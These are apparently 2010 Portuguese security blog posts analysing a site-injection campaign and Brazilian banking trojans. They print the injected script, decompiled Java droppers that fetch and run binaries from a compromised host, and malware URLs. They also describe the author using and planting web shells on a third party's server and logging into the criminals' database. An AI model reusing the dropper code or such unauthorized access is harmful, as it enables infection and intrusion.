quarta-feira, 27 de outubro de 2010

Invasor do site da Record, seguindo os rastros

18 comentários
Registrei o incidente com o site da Record aqui há uma semana, o problema se repetiu por vários dias, enviei mensagens para a Rede Record e não me responderam. Nem ao menos emitiram um comunicado orientando os usuários que clicaram na mensagem maliciosa.

Como vocês se lembram, foi inserido esse código no site:

<ScRipT src="HTTP://www.anpal.org.br/_.js"></ScRipT>

Para o site www.anpal.org.br também enviei várias mensagens e nada. Estava “ownado” até hoje, como dizem.

Resolvi então realizar minha própria investigação do caso para tentar obter mais informações do invasor.

Já sabia que o site anpal.org.br possuía esses arquivos maliciosos:

http://www.anpal.org.br/_.js
http://www.anpal.org.br/Autorun.jar
http://www.anpal.org.br/home.jar

Na maioria das vezes quando esses crackers invadem um site eles o usam para distribuir malwares e spams. Para gerenciar os arquivos do site invadido eles fazem upload de um shell na maioria das vezes codificado em PHP, esse shell também é chamada de cmd.

Existem muitos desses shells disponíveis na Internet (e muitos com backdoors), alguns que conheço são: r57, c99, safeOver e bypass. A maioria é feita no exterior, mas existem alguns nacionais também.

Então, imaginando que o cracker fez upload de um shell desses no servidor da ANPAL tentei descobrir o nome do arquivo, comecei pelos nomes mais óbvios e já nas primeiras tentativas encontrei:

http://www.anpal.org.br/cmd.php


Bastante criativo o nome que ele colocou. :) Esse shell era nacional como se percebe pelo nome “By ShellBr 2oo7”.

Através do “cmd.php” eu obtive a listagem de todos os arquivos e pastas da raiz do site da ANPAL, que eram esses:

TMP46ytukc1gk.htm
images/
associados.php
leis.php
banner/
atualizar/
galeria.php
videos.php
saibamais.php
.htaccess
error_log
cell.php
contato.php
cadastro.php
home.jar
Autorun.jar
inscricao/
links.php
_.js
swf/
agenda.php
correio/
netuno.txt
estatuto.php
win.jar
mala/
cmd.php
filiacao.php
artigos.php
cadastrofinanceiro.php
Autorun2.jar
../
siteantigo/
admin/
noticias.php
banner.php
login.php
portal/
imagens/
mercurio.txt
index.php
index1.htm
temp/
net.js
cgi-bin/
edital.php
diretoria.php
noticiasvideo.php

Dessa lista identifiquei os seguintes arquivos como sendo maliciosos:

- cell.php
outro shell, r57, geralmente eles deixam várias cópias de backup


- home.jar
códigos Java para disseminar os malwares

- Autorun.jar
códigos Java para disseminar os malwares netuno.txt e mercurio.txt

- _.js
javascript que chama os arquivos home.jar e Autorun.jar

- netuno.txt
binário que se instala no computador da vítima com o nome de msnwin32.exe

- win.jar
outro arquivo malicioso, essa copiava o binário win.txt (que não existe mais) e se instalava no computador da vítima com o nome de TaskServ.exe

- cmd.php
shell “By ShellBr 2oo7” utilizada pelo cracker

- Autorun2.jar
cópia do Autorun.jar

- mercurio.txt
binário que se instalava no computador da vítima com o nome de Imagen1.exe

- net.js
esse javascript possuía o seguinte código:
<applet name="Adobe Flash Player version 10.1.6" code="Main.class"
archive="http://186.195.32.16/site/img/home.jar" height="1" width="1">
<param name="link" value="http://186.195.32.16/site/img/Autorun.jar"></applet>

Esse IP 186.195.32.16 é do site clicabrasilia.com.br, mais um comprometido que o cracker invadiu. O arquivo home.jar nesse site ainda está disponível e é o mesmo que estava no site da ANPAL.

Prosseguindo, eu queria ainda saber de onde o cracker estava acessando a Internet, lembrei da técnica que utilizei no artigo Hackeando o Hacker, resolvi usar ela para tentar descobrir o IP dele.

Essa técnica consiste em inserir códigos PHP no shell que ele utiliza para que toda vez que acessá-lo ficar registrada a hora, fuso horário e IP da conexão. Para fazer isso resolvi utilizar o próprio shell para editar ele mesmo (não foi uma ideia muito boa), que era o arquivo “cmd.php”, e inserir esses códigos:

$nowt = date('r');
$errors_file = "error_log.txt";
$errors_handler = fopen($errors_file, 'a');
$errors_data = $nowt." - ".$_SERVER['REMOTE_ADDR']."\n";
fwrite($errors_handler, $errors_data);
fclose($errors_handler);


Feito isso era esperar que o invasor acessasse o shell e conferir o arquivo “error_log.txt” de vez em quando para ver se tinha capturado alguma coisa.

Como está registrado nessa tela abaixo, às 20:27 ainda não havia nada.


Porém às 21:12 , acessei o “error_log.txt” novamente e estavam lá registradas várias conexões.


O IP da conexão dele era o 18.7.27.174. Ao consultar o WHOIS desse IP olha o que retornou a pesquisa:

OrgName: Massachusetts Institute of Technology
OrgId: MIT-2
Address: Room W92-167
Address: 77 Massachusetts Avenue
City: Cambridge
StateProv: MA
PostalCode: 02139-4307
Country: US

Esse range de IP pertencia ao tão conhecido MIT, Massachusetts Institute of Technology, o pessoal de computação conhece bem esse instituto.

A princípio pensei se tratar de algum projeto de proxy anônimo que o MIT apoiava ou coisa do tipo, mas ao digitar o IP no navegador vi que era o IP de um site do MIT mesmo, o gsc.mit.edu, MIT Graduate Student Concil.

Resolvi então procurar no Google referências para esse IP, a busca retornou resultados muito interessantes:


Havia alguns sites que possivelmente também tinham sido invadidos pelo mesmo cracker, o sites www.spfc.net e www.jornaldaorla.com.br possuíam esse código nos seus títulos:

<ScRipT src="http://18.7.27.174/_.js"></ScRipT>

Isso quer dizer que o site do MIT também havia sido invadido e estava hospedando malwares. Voltei ao site do MIT para ver se os malwares estavam lá, o arquivo “_.js” não existia mais, mas tentei também o Autorun.jar e esse eu encontrei:


O Autorun.jar do MIT apontava para o endereço:

http://www.woohoo.com.br/img/news_destaques/fotos.txt

E o fotos.txt seria salvo como winskype.exe, mas esses arquivos não estavam mais no ar.

No site do MIT tentei descobrir mais informações de como o cracker invadiu ou encontrar algum shell, não descobri muita coisa, apenas que o site foi feito com o Joomla!.


Ficou a dúvida, se o IP do cracker é o do MIT, então esse servidor deve estar bem comprometido por permitir até navegar por ele, talvez ele configurou ou encontrou um proxy no servidor e está utilizando. Uma varredura com nmap poderia tirar algumas dúvidas, mas não cheguei a fazer isso.

Ao tentar acessar novamente o arquivo “error_log.txt” no site da ANPAL onde ficavam registradas as conexões do cracker, para minha surpresa havia sido apagado. :) O cracker tinha descoberto que eu alterei o shell cmd.php dele e desativou o código. Talvez no código poderia ter alguma função que avisava quando o arquivo era editado, não cheguei a procurar.

Não satisfeito ainda, resolvi fazer upload no site da ANPAL de outro shell e através dele apagar todos os arquivos maliciosos do site, deixar somente a cmd.php e inserir novamente os códigos para pegar o IP do cracker, quem sabe ele não acessaria de outro local, agora utilizei outros nomes e salvei em outra pasta.

Apagando os arquivo JAR com rm-rf *.jar:


Inserindo os códigos novos no cmd.php:


Hoje ao acessar o novo arquivo de registro de conexões do cracker que estava em:

http://www.anpal.org.br/temp/temp.tmp

Novamente apareceu o IP do MIT:


Wed, 27 Oct 2010 09:41:28 -0200 – 18.7.27.174

Por fim apaguei tudo, inclusive o cmd.php e o temp.tmp. Isso porém não resolve o problema do site da ANPAL, a vulnerabilidade continua e se o cracker quiser fazer tudo de novo ele consegue.

Enviei um email ao webmaster do MIT avisando que o site dele estava sendo usado para disseminar malwares. Muitos desses outros sites que citei aqui ainda continuam infectados.

Pelo que podemos ver essa invasão ao site da Record foi apenas mais uma da lista desse cracker. Existem muitos sites comprometidos com esses códigos maliciosos. Inclusive encontrei uma notícia em um outro Blog falando que o site do Portal Terra também foi infectado pelo mesmo código hospedado no MIT. Pode ser lida aqui:


É isso aí, como disse minha esposa isso é um jogo de gato e rato. Bem difícil para a polícia pegar esse indivíduo, tem que haver um trabalho conjunto de cooperação entre as polícias de vários países. Talvez os logs do servidor do MIT apresentem alguma informação relevante.

Não sou especialista em todos esses assuntos, se alguém quiser contribuir com o artigo adicionando novas informações sobre algum ponto que foi citado aqui, sinta-se à vontade em deixar um comentário que depois adiciono no post com os devidos créditos.

Caso for copiar e colar esse artigo em outro site, por favor cite a fonte com a URL do Blog.

Abraços!

Ronaldo Lima

sexta-feira, 22 de outubro de 2010

Vídeo: Ladrões de Banco Online, veja como agem

8 comentários
Fiz esse vídeo para demonstrar uma das formas que os ladrões brasileiros de Internet Banking utilizam para capturar senhas e dados bancários de suas vítimas.

É uma fraude muito simples de ser realizada do ponto de vista técnico, não são necessários grandes conhecimentos em computação. E eles também nem possuem esses conhecimentos.

Fazem tudo da forma mais grosseira possível, deixam tudo exposto e não corrigem as falhas que exploraram. Só querem fazer de forma simples e rápida, quando um site deles saí do ar eles já estão com outro pronto.

Caso não tenha paciência para ler o post todo pode assistir ao vídeo diretamente abaixo :). Desde já peço desculpas pelos erros de digitação, gramática, concordância, etc. É que fiz tudo bem rápido.


Algumas coisas me impressionam nesses casos, na minha opinião os maiores culpados pela proliferação dessas fraudes bancárias não são os usuários incautos mas sim os administradores de sites que fazem qualquer coisa e colocam no ar, sem pensar na segurança. Só querem ver funcionando.

Isso acontece no mundo todo e os criminosos exploram exatamente essas vulnerabilidades para hospedarem seus malwares e phishings. Já que o admins teoricamente possuem um conhecimento mais amplo sobre tecnologia então eles deveriam ter a obrigação de não deixarem falhas (pelo menos as mais óbvias) em seus sites, para não prejudicarem a sociedade. Os usuários (me incluo nisso) já sabemos como são, clicam em tudo que aparece sem ao menos ler o que está escrito.

Esse vídeo eu gravei no dia 07/10 e o site permaneceu no ar até o dia 19/10. Ficou 12 dias aplicando golpes pela Internet, mesmo eu denunciando para vários órgãos e autoridades. Por apresentar dados sigilosos eu esperei sair do ar para publicar o vídeo.

Monitorei o golpe alguns dias e em média vi que o fraudador conseguia capturar de 20 a 30 senhas bancárias por dia. Fazendo as contas, 20 senhas por dia em 12 dias são 240. Supondo que de cada conta ele roube 500,00 reais (a média é 900,00), nesse período teoricamente ele conseguiu a incrível quantia de R$ 120.000,00!

Para que utilizar arma e arriscar a vida tentando roubar uma agência bancária física? Muito mais fácil e seguro fazer isso pela Internet. Infelizmente.

Fica aí mais um alerta.

quinta-feira, 21 de outubro de 2010

Crime na Rede, site da Rede Record foi infectado

19 comentários
Estava passando os canais da TV e vi que o Jornal da Record estava exibindo uma reportagem sobre crimes cibernéticos, ou Crimes na Rede como eles intitularam. Achei legal e fui no site deles para assistir os vídeos da série de reportagens.

Ao abrir a URL das reportagens:
http://programas.rederecord.com.br/programas/jornaldarecord/series.asp?id=4485


Veja a tela com a qual me deparei:


Uma grande ironia, o site foi infectado, o atacante invadiu (desconheço o método utilizado) e inseriu um código para executar um Applet Java (.jar).

Alguém que não deve ter gostado muito da reportagem deve ter feito isso. Inseriram esse código na página:

<ScRipT src="HTTP://www.anpal.org.br/_.js"></ScRipT>

O javascript "_.js" estava com uma espécie de codificação para dificultar a leitura, mas  foi facilmente removida e seu conteúdo é esse:

<applet name="Adobe Flash Player version 10.1.6" code="Main.class" archive="http://www.anpal.org.br/home.jar" height="1" width="1"><param name="link" value="http://www.anpal.org.br/Autorun.jar"></applet>

Fiz download dos arquivos "home.jar" e "Autorun.jar". 

Arquivo do tipo JAR é uma espécie de ZIP de arquivos Java, então ao descompactá-los obtive dois arquivos Main.class, que é como se fossem os arquivos java compilados, são os bytecodes.

Com ajuda do site www.showmycode.com, obtive o código-fonte dos dois arquivos Main.

 home.jar – Main.class  
 import java.applet.Applet;  
 import java.io.*;  
 import java.net.URL;  
 import java.net.URLConnection;  
 public class Main extends Applet  
 {  
   public Main()  
   {  
   }  
   public void Plugin()  
     throws Exception  
   {  
     byte buffer[] = new byte[10240];  
     String archivo = getParameter("link");  
     System.out.println((new StringBuilder("Adobe Flash Player :")).append(archivo).toString());  
     String ext = archivo.substring(archivo.lastIndexOf("."));  
     ext = ext.toLowerCase();  
     File nuevo = File.createTempFile("FlashPlayer", ext);  
     FileOutputStream stream = new FileOutputStream(nuevo);  
     URL ur = new URL(archivo);  
     URLConnection uc = ur.openConnection();  
     BufferedInputStream is = new BufferedInputStream(uc.getInputStream());  
     int leidos;  
     while((leidos = is.read(buffer)) > 0)   
       stream.write(buffer, 0, leidos);  
     stream.close();  
     if(ext.contains(".jar"))  
       Runtime.getRuntime().exec((new StringBuilder(String.valueOf(System.getProperty("sun.boot.library.path")))).append("\\javaw.exe -jar \"").append(nuevo.getAbsolutePath()).append("\"").toString());  
     else  
       try  
       {  
         Runtime.getRuntime().exec(nuevo.getAbsolutePath());  
       }  
       catch(IOException e)  
       {  
         File f = File.createTempFile("tmp", ".bat");  
         f.createNewFile();  
         f.deleteOnExit();  
         PrintWriter pw = new PrintWriter(f);  
         pw.println((new StringBuilder("\"")).append(nuevo.getAbsolutePath()).append("\"").toString());  
         pw.close();  
         Runtime.getRuntime().exec(f.getAbsolutePath());  
         f.delete();  
       }  
     nuevo.deleteOnExit();  
   }  
   public void init()  
   {  
     try  
     {  
       Plugin();  
     }  
     catch(Exception e)  
     {  
       e.printStackTrace();  
     }  
     super.init();  
   }  
 }  

 package autorun;  
 import java.io.*;  
 import java.net.*;  
 import javax.swing.JOptionPane;  
 public class Main  
 {  
   public Main()  
   {  
   }  
   public void init()  
   {  
     String s = System.getProperty("user.home");  
     try  
     {  
       File file = new File(s, "/Imagen1.exe");  
       FileOutputStream fileoutputstream = new FileOutputStream(file, false);  
       URL url = new URL("http://www.anpal.org.br/mercurio.txt");  
       URLConnection urlconnection = url.openConnection();  
       InputStream inputstream = urlconnection.getInputStream();  
       for(int i = 0; (i = inputstream.read()) != -1;)  
         fileoutputstream.write(i);  
       inputstream.close();  
       fileoutputstream.close();  
       Process process = Runtime.getRuntime().exec(file.getAbsolutePath());  
     }  
     catch(FileNotFoundException filenotfoundexception)  
     {  
       JOptionPane.showMessageDialog(null, "Arquivo n\343o encontrado. Causa: " + filenotfoundexception.getMessage());  
     }  
     catch(MalformedURLException malformedurlexception)  
     {  
       JOptionPane.showMessageDialog(null, "Erro na forma\347\343o da URL. Causa: " + malformedurlexception.getMessage());  
     }  
     catch(IOException ioexception)  
     {  
       JOptionPane.showMessageDialog(null, "Erro de entrada/saida de dados. Causa: " + ioexception.getMessage());  
     }  
     try  
     {  
       File file1 = new File(s, "/msnwin32.exe");  
       FileOutputStream fileoutputstream1 = new FileOutputStream(file1, false);  
       URL url1 = new URL("http://www.anpal.org.br/netuno.txt");  
       URLConnection urlconnection1 = url1.openConnection();  
       InputStream inputstream1 = urlconnection1.getInputStream();  
       for(int j = 0; (j = inputstream1.read()) != -1;)  
         fileoutputstream1.write(j);  
       inputstream1.close();  
       fileoutputstream1.close();  
       Process process1 = Runtime.getRuntime().exec(file1.getAbsolutePath());  
     }  
     catch(FileNotFoundException filenotfoundexception1)  
     {  
       JOptionPane.showMessageDialog(null, "Arquivo n\343o encontrado. Causa: " + filenotfoundexception1.getMessage());  
     }  
     catch(MalformedURLException malformedurlexception1)  
     {  
       JOptionPane.showMessageDialog(null, "Erro na forma\347\343o da URL. Causa: " + malformedurlexception1.getMessage());  
     }  
     catch(IOException ioexception1)  
     {  
       JOptionPane.showMessageDialog(null, "Erro de entrada/saida de dados. Causa: " + ioexception1.getMessage());  
     }  
   }  
   public static void main(String args[])  
   {  
     Main main1 = new Main();  
     main1.init();  
   }  
 }  


Não analisei com muita calma esses códigos mas vi que no segundo ele faz download de dois arquivos: mercurio.txt e netuno.txt (que na verdade não são txt e sim binários) e salvam no computador da vítima como Imagen1.exe e msnwin32.exe respectivamente.

Fiz o download desses dois arquivos mas ainda não analisei, porém imagino que devem ser malwares para furtar senhas de bancos, conectar em redes zumbis, etc.

Fica aí o alerta, até o presente momento todo esse esquema ainda está no ar.

Impressionante como uma empresa tão grande que se propõe a exibir reportagens sobre os crimes na Internet está tão vulnerável a esse tipo de ataque.

[POST Adicionado em 21/10/2010, 10:20]

Felizmente os administradores do site da Rede Record já corrigiram o problema, porém fica aqui registrado o incidente. Posteriormente irei analisar os executáveis que o golpe disseminava.

[POST Adicionado em 24/10/2010, 19:05]

Como se já não bastasse uma vez, novamente o site da Rede Record foi comprometido com malwares ontem a noite, quem alertou foi Felipe Santos no comentário abaixo. Acessei o site e constatei o mesmo golpe, segue a nova tela capturada ontem, 23/10 às 21:35.  Quantas vezes mais isso ocorrerá sem que a Record não tome nenhuma atitude?


[POST Adicionado em 25/10/2010, 01:40]

Parece até piada, novamente essa noite o site estava comprometido, achava que o admin do site tinha desativado o golpe mas agora imagino que o cracker está programando o ataque para somente algumas horas do dia, da noite na verdade. Mais telas capturadas, 25/10, 01:24.



[POST Adicionado em 12/09/2011]

No dia 09/09/2011, quase um ano após o incidente com o site da Rede Record, entrou em contato comigo o responsável pelo domínio anpal.org.br junto ao Registro.br. Disse-me que estava afastado da entidade (ANPAL) e tomou conhecimento do incidente só agora, infelizmente.

Gostaria de destacar aqui a forma educada e atenciosa com a qual se comunicou, preocupado com o ocorrido e em buscar os reponsáveis pela não atenção ao problema, já que na época enviei e-mail  para dois contatos do site e ninguém respondeu. Fica registrado um exemplo de comunicação entre administradores de sistemas/domínios e pesquisadores de segurança.

Leia também:

  Invasor do site da Record, seguindo os rastros

segunda-feira, 18 de outubro de 2010

Engenharia Reversa e Análise do Malware NetEmpresa.exe

9 comentários
Trojan-Banker.Win32.Banbra.vhu

Essa é a continuação do artigo anterior onde realizei a engenharia reversa de um malware Loader e descobri que ele fazia donwload de mais quatro malwares, leia aqui.

Conforme mencionado no outro artigo, o malware fazia download desses quatro arquivos:

http://www.linkonline.zxq.net/bnd.jpg
http://www.linkonline.zxq.net/ne.jpg
http://www.linkonline.zxq.net/bykill.jpg
http://www.linkonline.zxq.net/kil.jpg

Que eram salvos respectivamente no Windows como:

C:\Windows\system\Windbdn.exe (MD5: BAF510EEE8C37DD37672A2485B36A4FD)
C:\Windows\system\NetEmpresa.exe (MD5: A4D1CD06B721121162D50CCB863477B9)
C:\Windows\system\Plug.exe (MD5: 517D756228B7EB18D7D478CC0E93B340)
C:\Windows\system\PlugOff.exe (MD5: 940B089439BAE093DBA1423F1ECD6CE2)

Pelo nome mais sugestivo selecionei então o arquivo “NetEmpresa.exe” para ser feita a análise e engenharia reversa.

Submetendo o arquivo ao Exeinfo PE para identificar a presença de packer, novamente indicou a presença do “Thinstall 2.4x – 2.5x”.


Como eu já tinha a ferramenta de unpack “UnThinstall” fui diretamente a ela para remover a proteção do executável.


O “UnThinstall” gerou o arquivo “NetEmpresa.exe.dump”. Para ter certeza que a proteção realmente havia sido retirada, submeti o arquivo gerado ao Exeinfo PE novamente.


Agora ele retornou que o arquivo estava sem packer e que foi codificado com a linguagem de programação Delphi, essa é uma excelente dica pois posteriormente poderia tentar um descompilador de Delphi para obter mais informações do malware.

O arquivo gerado sem o packer era bem grande para um malware, 4,96 MB, para analisar todo o conteúdo iria demorar muitas horas pois havia muitas linhas de código, então resolvi ir direto ao ponto principal da investigação, que era encontrar strings suspeitas.

Para isso utilizei o programa AnalogX TextScan que tem a única função de mostrar todas as strings encontradas em um arquivo qualquer. Ao abrir o “NetEmpresa.exe.dump” nele foram encontradas 4247 strings.


Em uma análise mais detalhada nos resultados, encontrei várias strings interessantes, vejamos algumas com seu Offset e Conteúdo:

857768,C:\Documents and Settings\Administrador\Desktop\Sources 2010\Net empresa\montagem\Regsvr32.pas

Essa string é muito interessante pois mostra onde o fraudador salva os arquivos fontes do malware, o arquivo “Regsvr32.pas” confirma que se trata do Delphi, pois arquivos .pas (Object Pascal) são utilizados no mesmo.

Ainda, o fraudador utilizada o usuário Administrador do Windows e possui uma pasta no Desktop chamada “Sources 2010”, dentro dela possivelmente possui fontes de outros malwares, incluindo do NetEmpresa.

Caso a polícia chegue na casa desse indivíduo com um mandado de busca e apreensão e leve o computador dele para a perícia, posteriormente os peritos encontrando essas pastas no computador poderiam então associar que esse malware “NetEmpresa.exe” que possui o MD5 acima informado foi criado por essa pessoa, ou seja, estaria provada a autoria do crime.

863168,https://bradesconetempresa.com.br/ne/iniciasessao.asp?paramPag=acesso_conta

Nessa string podemos ver o alvo da fraude, o Banco Bradesco voltado para empresas, pessoas jurídicas. Geralmente essas URLs estão no código-fonte do malware por causa do método que eles utilizam para entrar em ação, que é o de fazer uma comparação com todas as URLs que a vítima está acessando e caso encontre o endereço acima ele entra em ação sobrepondo a tela original do site com sua tela falsa.

864704,GpfSGN9nTMbsRtCWP6KWS79lPt9XRM5pN4TYK6nrPsbkN45qRKDXS2vlOtW
864772,GpfSLqbEH4zNKrn4RtTkR6zXP6La851oRsToOMqWHcbiPNDSPs9fPMXrRcakP6ni
865144,GpfSLsbkP6ztSrnJUNDqPMqpCbn4GLCkPNXb
865192,N6HlTsviRs5aSsTYQG

Essas possivelmente devem se tratar de strings criptografadas por alguma função dentro o malware, seria necessário então encontrar no código a função de descriptografia para descobrir o que eles significam.

872492,INSERT INTO
872516, (NM_PC) VALUES ('
872556,SELECT TOP 1 ID_PC AS CO_MAQUINA FROM
872604, WHERE NM_PC='
872628,' ORDER BY ID_PC DESC
872660,CO_MAQUINA
872696, SET NM_TOKEN= '
872724,', ST_ENVIADO='1', DS_SENHA='
872764,', DS_CRT=:LOCAL1, DS_KEY=:LOCAL2 WHERE ID_PC=

Aqui um típico comando da linguagem de manipulação de banco de dados SQL. Isso no diz  que o malware deve fazer uma conexão com um banco de dados para onde ele deve enviar as informações das contas furtadas.

873808,sud.mpsuopd\tapeoja\:D
873860,opjtsfXuofssvD\tapeojA\ugptpsdjN\FSBAUGPT\
873912,fzf.ovsojA\23nfutwt\TAPEOJA\:D
873980,fzf.upidtj\23nfutwt\TAPEOJA\:D
874036,fzf.1efsZ\23nfutwt\TAPEOJA\:D
874092,fzf.2efsY\23nfutwt\TAPEOJA\:D
874148,fzf.CemfidtN\23nfutwt\TAPEOJA\:D
874208,fzf.zdoemfidtN\23nfutwt\TAPEOJA\:D
874268,fzf.emfidtxt\23nfutwt\TAPEOJA\:D

Essas possuem uma criptografia tosca ou caseira como citou um colega, quer saber o que elas significam? Leia o artigo Desafio: Strings Criptografadas em Malware Banker.

Agora a string mais significativa que encontrei estava no final do arquivo, até fiquei surpreso por ela estar em texto simples sem criptografia, deve ter sido uma falha do fraudador que esqueceu de escondê-la no código-fonte. Veja abaixo onde a encontrei:

Deixando ela mais legível *:

Provider= SQLOLEDB.1;
Password= 999999yz;
Persist Security Info= True;
User ID= database;
Initial Catalog= database;
Data Source= sqlserver.servidor.com

* dados fictícios.

Exatamente a string de conexão com o banco de dados onde o malware envia o que conseguiu capturar. Trata-se de um banco Microsoft SQL Server.

De posse dessas credenciais consegui conectar ao banco de dados e vi que várias pessoas (na verdade contas de empresas) já havia caído no golpe. Imaginem o estrago que os bandidos podem fazer em uma conta de empresa.

A tabela que armazenava as informações furtadas se chamava “TB_BDN_loading” e possuía essas colunas:

ID_PC, DATA_HORA, NM_PC, ST_ENVIADO, ST_CORRETO, NM_TOKEN, NU_TOKEN, DS_SENHA, DS_CRT, DS_KEY

Não sei ao certo como funciona o esquema de certificado digital e token no Bradesco mas vi que o malware era capaz de capturar até esses dados. Isso nos mostra que mesmo as tecnologias mais complexas estão suscetíveis a fraudes.

Tudo isso foi possível descobrir apenas analisando as strings encontradas no código-fonte do malware.

Como eu sabia que a linguagem utilizada era o Delphi, resolvi então submeter o arquivo ao descompilador de Delphi chamado DeDe, que geralmente apresenta bons resultados.


O DeDe também permite salvar o projeto que ele gerou para depois abrir no próprio Delphi, lógico que é impossível ele conseguir gerar o mesmo código-fonte original, mas o que ele faz já ajuda bastante na análise pois permite visualizar alguns formulários, componentes, Units, etc.

Utilizei essa opção para salvar o projeto para abrir no Delphi.


O projeto gerado foi nomeado de “Explorer.dpr”, que é o nome original que o fraudador utilizou. Ao abrí-lo no Delphi e usar a opção de visualizar os formulários do projeto, foi indicada a existência de um form chamado “TkuPricipal”.


Ao abrir o formulário fiquei até surpreso com o nível de sofisticação do fraudador. Ele criou exatamente a mesma tela do Internet Explorer quando abre o site do Bradesco, usou os componentes do Delphi para simular o site verdadeiro. Veja a imagem abaixo:


No título do formulário ele até colocou “Bradesco – Microsoft Internet Explorer” e no topo da janela inseriu uma imagem de um print screen do IE original abrindo o site do Bradesco.

Como eu já tinha dito essa tela falsa do Internet Explorer que ele criou no Delphi é sobreposta a original quando a vítima acessa a URL do Bradesco já mencionada anteriormente, isso faz com que as pessoas nem percebam que estão sendo enganadas.

É isso aí, dúvidas e comentários são bem-vindos.

Abraços!

sábado, 16 de outubro de 2010

Desafio: Strings Criptografadas em Malware Banker

12 comentários
Ao analisar e fazer engenharia reversa em alguns malwares me deparei com um padrão de strings criptografadas que se repetia em alguns trechos do código.

Não sei se isso pode ser chamado de criptografia ou obfuscação, mas enfim, é um método que o fraudador utiliza para esconder algumas strings de olhares curiosos. Pelo menos na idéia dele ninguém conseguirá entender o que escreveu (deixa ele pensar assim :) .

Bem, agora eu pergunto, você sabe me dizer o que significam as strings abaixo encontradas em um malware real?

xoj buopd be psfn
FZF_0102_TTBMDJOV_VBUJ
ojhpm/MO/mbnspo/nfmfufd/mbuspq/tqa/sc.npd.nfmfufd.aaa//:tquui
!fuofnbufsspd febejmbx fe bube b fnspgoJ
usbd po pebxbsh fnpO p fujhjE
OVS\OPJTSFXUOFSSVD\TAPEOJA\UGPTPSDJN\FSBAUGPT
.fuofnbufsspd sbmvuju pe GQD p fujhjE
Fica aí o desafio, caso tenha se interessado deixe um comentário.

[POST ADICIONADO EM 18/10/2010]

Os colegas nos comentários rapidamente descobriram a lógica por traz dessa criptografia caseira como foi citado. Realmente é só inverter a direção da string e para cada letra pegar a anterior do alfabeto.

Para as strings citadas a descriptografia é:

mero da conta inv
itau_uniclass_2010_exe
https://www.cetelem.com.br/wps/portal/cetelem/normal/nl/login
informe a data de validade corretamente!
digite o nome gravado no cart
software\microsoft\windows\currentversion\run
digite o cpf do titular corretamente.!

No dia que eu encontrei essa tipo de criptografia e descobri a lógica delas eu até fiz um script PHP para descriptografar automaticamente, não é muito elaborado mas fica aí como exemplo.

<?php

// funcao recebe uma letra e retorna a anterior
function converte($letra){
$letra=strtoupper($letra);
if($letra=='A'){$letra='W';return $letra;}
if($letra=='B'){$letra='A';return $letra;}
if($letra=='C'){$letra='B';return $letra;}
if($letra=='D'){$letra='C';return $letra;}
if($letra=='E'){$letra='D';return $letra;}
if($letra=='F'){$letra='E';return $letra;}
if($letra=='G'){$letra='F';return $letra;}
if($letra=='H'){$letra='G';return $letra;}
if($letra=='I'){$letra='H';return $letra;}
if($letra=='J'){$letra='I';return $letra;}
if($letra=='K'){$letra='J';return $letra;}
if($letra=='L'){$letra='K';return $letra;}
if($letra=='M'){$letra='L';return $letra;}
if($letra=='N'){$letra='M';return $letra;}
if($letra=='O'){$letra='N';return $letra;}
if($letra=='P'){$letra='O';return $letra;}
if($letra=='Q'){$letra='P';return $letra;}
if($letra=='R'){$letra='Q';return $letra;}
if($letra=='S'){$letra='R';return $letra;}
if($letra=='T'){$letra='S';return $letra;}
if($letra=='U'){$letra='T';return $letra;}
if($letra=='V'){$letra='U';return $letra;}
if($letra=='X'){$letra='V';return $letra;}
if($letra=='Z'){$letra='X';return $letra;}
if($letra=='Y'){$letra='Z';return $letra;}
if($letra=='W'){$letra='Y';return $letra;}
return $letra;
}

// string a ser descriptografada
$s='OVS\OPJTSFXUOFSSVD\TAPEOJA\UGPTPSDJN\FSBAUGPT';

$rev=strrev($s); // inverte a direcao

// chama a funcao para converter
for($i=0;$i<strlen($rev);$i++){
$rev[$i]=converte($rev[$i]);
}

// exibe a string descriptografada em minúsculas
for($i=0;$i<strlen($rev);$i++){
echo strtolower($rev[$i]);
}
?>

Você também pode gostar: Decodificando Strings em Malwares

quinta-feira, 7 de outubro de 2010

Notícia: FBI interrompe uma rede de fraudes bancárias pela Internet

2 comentários
01/10/2010

O FBI com ajuda de parceiros internacionais desmantelou um rede de criminosos cibernéticos que atuava em vários países. As vítimas dessas fraudes eram indivíduos, pequenas e médias empresas, municípios e igrejas que tiveram seus computadores infectados com uma versão da Botnet Zeus.

O malware capturou senhas, números de contas e outros dados usados para entrar em contas bancárias online. Os criminosos então entravam nas contas da vítimas e transferiam o dinheiro para conta de terceiros, conhecidos como mulas. Esses, por sua vez, transferiam para as contas dos criminosos ficando com uma porcentagem do dinheiro.

Esse esquema resultou na tentativa de roubo de US$ 220 milhões, com perdas reais de US$ 70 milhões das contas bancárias das vítimas. O FBI teve ajuda de agências policiais da Holanda, Reino Unido e Ucrânia. Além disso tiveram apoios de parceiros público-privados e pesquisadores de segurança na Internet.

Segundo palavras do diretor do FBI, “nenhum país, nenhuma empresa, e nenhuma agência pode parar o crime cibernético. A única maneira de fazer isso é trabalhar juntos”.

Para conhecer um pouco mais sobre o esquema desmantelado pelo FBI veja o gráfico.

Acesse a notícia em inglês no site do FBI.

Situação no Brasil

Segundo a FEBRABAN, Federação Brasileira de Bancos, em 2009 os bancos brasileiros perderam R$ 900 milhões com as fraudes bancárias pela Internet.

As policiais civis e federal estão fazendo parcerias com os bancos para investigarem esses crimes e diminuírem os prejuízos causados pelas fraudes.

terça-feira, 5 de outubro de 2010

Engenharia Reversa do Malware Trojan Downloader.Win32.Agent.dlfu

13 comentários
MD5: 729CECA18BE2E24744408733D8B28A5E

Mais uma vez realizei a análise desse malware buscando encontrar informações que levassem à identificação do autor do mesmo. A investigação desse foi bastante trabalhosa, então vou dividi-la em dois artigos.

No primeiro artigo analisarei o malware do tipo Loader (ou Downloader conforme o título atribuído pela Kaspersky), que é o responsável por entrar no computador da vítima e fazer download de outros malwares. Essa é literalmente a função de um cavalo de tróia, assim como aconteceu na lenda grega.

Vamos começar então!

Recebi um email de spam phishing que tinha os campos “Subject: Atualização do seu Software Emissor NF-e.” e “from:fazenda@gov.br”. No corpo do email a pessoa era induzida a clicar num link denominado “Atualização Emissor de NF-e” cujo endereço apontava para o download do arquivo:

http://www.atozhandicraftz.com/ftp/EmissorNF-e/EmissorNF-e5.4.1.exe

* Obs.: nesse artigo vou manter alguns nomes originais para facilitar a leitura, os links já se encontram desativados.

Cliquei no link para fazer o download e o arquivo que veio foi o “AtualizacaoEmissorNF-e5.4.1.exe”. Salvei-o em uma pasta para realizar posteriormente a engenharia reversa do executável.

